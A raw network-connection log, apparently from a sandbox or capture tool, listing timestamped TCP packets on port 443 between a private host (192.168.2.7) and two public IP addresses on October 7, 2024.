Oct 7, 2024 18:43:27.402977943 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.403146982 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.403196096 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.403224945 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.403229952 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.403239012 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.403242111 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.405113935 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.405129910 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.405225992 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.405512094 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.405533075 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.405985117 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.406028032 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.406325102 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.406511068 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.406543970 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.473334074 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.473764896 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.473784924 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.474287987 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.474299908 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.482321978 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.482652903 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.482680082 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.483079910 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.483084917 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.621781111 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.621948957 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.622023106 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.622282028 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.622299910 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.622311115 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.622317076 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.625453949 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.625487089 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.625559092 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.625754118 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.625765085 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.625767946 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.625852108 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.625915051 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.625989914 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.626008987 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.626023054 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.626029968 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.628709078 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.628799915 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.628886938 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.629003048 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.629048109 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.875237942 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:27.875509024 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:27.875591040 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:27.876485109 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:27.876502037 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:27.876564026 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:27.876570940 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:28.182096958 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.182529926 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.182559967 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.182965994 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.182975054 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.190555096 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.191725969 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.191746950 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.192259073 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.192266941 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.194081068 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.194695950 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.194722891 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.194890976 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.194896936 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.277376890 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.277532101 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.277666092 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.277825117 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.277858019 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.277882099 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.277889967 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.281732082 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.281769991 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.281872988 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.282042027 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.282053947 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.289805889 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.289870024 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.289951086 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.290106058 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.290124893 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.290167093 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.290174961 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.293046951 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.293077946 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.293346882 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.293493986 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.293505907 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.294836998 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.294909000 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.295017958 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.295088053 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.295088053 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.295106888 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.295118093 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.297398090 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.297441959 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.297533989 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.297632933 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.297651052 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.358011007 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.358563900 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.358588934 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.358680964 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.359127998 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.359133005 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.359446049 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.359507084 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.359797001 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.359812975 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.506510973 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.506607056 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.506685972 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.506897926 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.506953955 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.507008076 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.507050991 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.507067919 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.507069111 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.507128954 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.507158041 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.507172108 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.507183075 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.507188082 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.510974884 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.510979891 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.511025906 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.511035919 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.511110067 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.511255980 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.511257887 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.511269093 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:28.511358976 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:28.511379957 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.113068104 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.114028931 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.114092112 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.114552975 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.114562988 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.129210949 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.129735947 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.129757881 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.130333900 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.130337954 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.147917986 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.148705959 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.148725986 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.149287939 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.149293900 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.216515064 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.216587067 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.216634035 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.216861010 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.216876030 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.216888905 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.216895103 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.219827890 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.219927073 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.220000029 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.220159054 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.220192909 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.226279020 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.226386070 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.226449966 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.226494074 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.226511002 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.229032993 CEST	49782	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.229065895 CEST	443	49782	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.229135990 CEST	49782	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.229279041 CEST	49782	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.229305983 CEST	443	49782	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.281141043 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.281600952 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.281642914 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.282201052 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.282208920 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.283229113 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.283531904 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.283554077 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.284054041 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.284063101 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.288563967 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.288675070 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.288765907 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.288794041 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.288814068 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.288825989 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.288832903 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.291302919 CEST	49783	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.291336060 CEST	443	49783	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.291399956 CEST	49783	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.291501045 CEST	49783	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.291510105 CEST	443	49783	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.482853889 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.483028889 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.483094931 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.483118057 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.483128071 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.483139992 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.483146906 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.486179113 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.486274004 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.486365080 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.486465931 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.486490965 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.550219059 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.550417900 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.550477982 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.550657988 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.550684929 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.550697088 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.550703049 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.553183079 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.553235054 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:29.553352118 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.553560972 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:29.553577900 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.119935989 CEST	443	49783	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.120429039 CEST	49783	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.120455980 CEST	443	49783	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.120960951 CEST	49783	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.120975018 CEST	443	49783	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.129213095 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.129828930 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.129884958 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.130429983 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.130445004 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.145919085 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.146281958 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.146373034 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.146919966 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.146934986 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.215805054 CEST	443	49783	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.215883970 CEST	443	49783	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.215961933 CEST	49783	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.216371059 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.227675915 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.227781057 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.227888107 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.241022110 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.241652012 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.241734028 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.255601883 CEST	49783	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.255635023 CEST	443	49783	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.255649090 CEST	49783	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.255656958 CEST	443	49783	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.256526947 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.266721010 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.266726971 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.291760921 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.291769981 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.292213917 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.292260885 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.292292118 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.292308092 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.293787956 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.293864012 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.293900967 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.293921947 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.307296038 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.307374001 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.307544947 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.307816029 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.307852983 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.309699059 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.309773922 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.309911013 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.310617924 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.310657978 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.315644979 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.315681934 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.315769911 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.316096067 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.316107035 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.387545109 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.387792110 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.387876034 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.404400110 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.404417038 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.404427052 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.404433012 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.426872015 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.426903963 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.427006006 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.432913065 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.432929993 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.438810110 CEST	443	49782	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.441905975 CEST	49782	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.441931963 CEST	443	49782	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.455226898 CEST	49782	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.455233097 CEST	443	49782	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.566507101 CEST	443	49782	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.566572905 CEST	443	49782	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.567480087 CEST	49782	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.585915089 CEST	49782	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.585941076 CEST	443	49782	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.585953951 CEST	49782	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.585958958 CEST	443	49782	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.624670982 CEST	49791	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.624716997 CEST	443	49791	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.625235081 CEST	49791	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.654273033 CEST	49791	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.654308081 CEST	443	49791	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.972553968 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.980488062 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.980500937 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.981206894 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.995960951 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:30.995970011 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:30.996030092 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.010505915 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.010538101 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.010907888 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.010916948 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.010986090 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.011051893 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.017811060 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.017829895 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.062181950 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.116672993 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.149938107 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.150036097 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.150213003 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.188062906 CEST	443	49787	13.107.246.45	192.168.2.7
